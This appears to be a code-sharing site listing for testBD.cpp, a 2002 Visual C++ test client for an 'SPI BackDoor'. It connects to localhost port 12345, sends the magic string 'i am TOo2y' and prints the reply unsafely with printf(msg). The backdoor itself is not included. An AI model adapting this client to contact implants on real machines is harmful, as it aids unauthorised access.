testBD.cpp
上传用户:whhgrj
上传日期:2022-05-27
资源大小:2229k
文件大小:1k
开发平台:

Visual C++

  1. // testBD.cpp : Defines the entry point for the console application.
  2. //
  3. #include "stdafx.h"
  4. #include <winsock2.h>
  5. #include <stdio.h>
  6. #include <conio.h>
  7. int main(int argc, char* argv[])
  8. {
  9. WSADATA  wsa;
  10. SOCKET   sock;
  11. struct   sockaddr_in sin;
  12. char     msg[25]="i am TOo2y";
  13. int      iret;
  14. printf("===[ Test for SPI BackDoor ]===n");
  15. printf("===[ TOo2y  at  11-3-2002  ]===nn");
  16. if(WSAStartup(MAKEWORD(2,2),&wsa))
  17. {
  18. printf("WSAStartup Error: %dn",WSAGetLastError());
  19. getche();
  20. return -1;
  21. }
  22. if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  23. {
  24. printf("Socket Error: %dn",WSAGetLastError());
  25. getche();
  26. return -1;
  27. }
  28. sin.sin_addr.s_addr=inet_addr("127.0.0.1");
  29. sin.sin_family=AF_INET;
  30. sin.sin_port=htons(12345);
  31. if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
  32. {
  33. printf("Connect Error: %dn",WSAGetLastError());
  34. getche();
  35. return -1;
  36. }
  37.     if((iret=send(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
  38. {
  39. printf("Send Error: %dn",WSAGetLastError());
  40. getche();
  41. return -1;
  42. }
  43. memset(msg,0,sizeof(msg));
  44. if((iret=recv(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
  45. {
  46. printf("Recv Error: %dn",WSAGetLastError());
  47. getche();
  48. return -1;
  49. }
  50. printf("Re: ");
  51.     printf(msg);
  52. closesocket(sock);
  53. WSACleanup();
  54. getche();
  55. return 0;
  56. }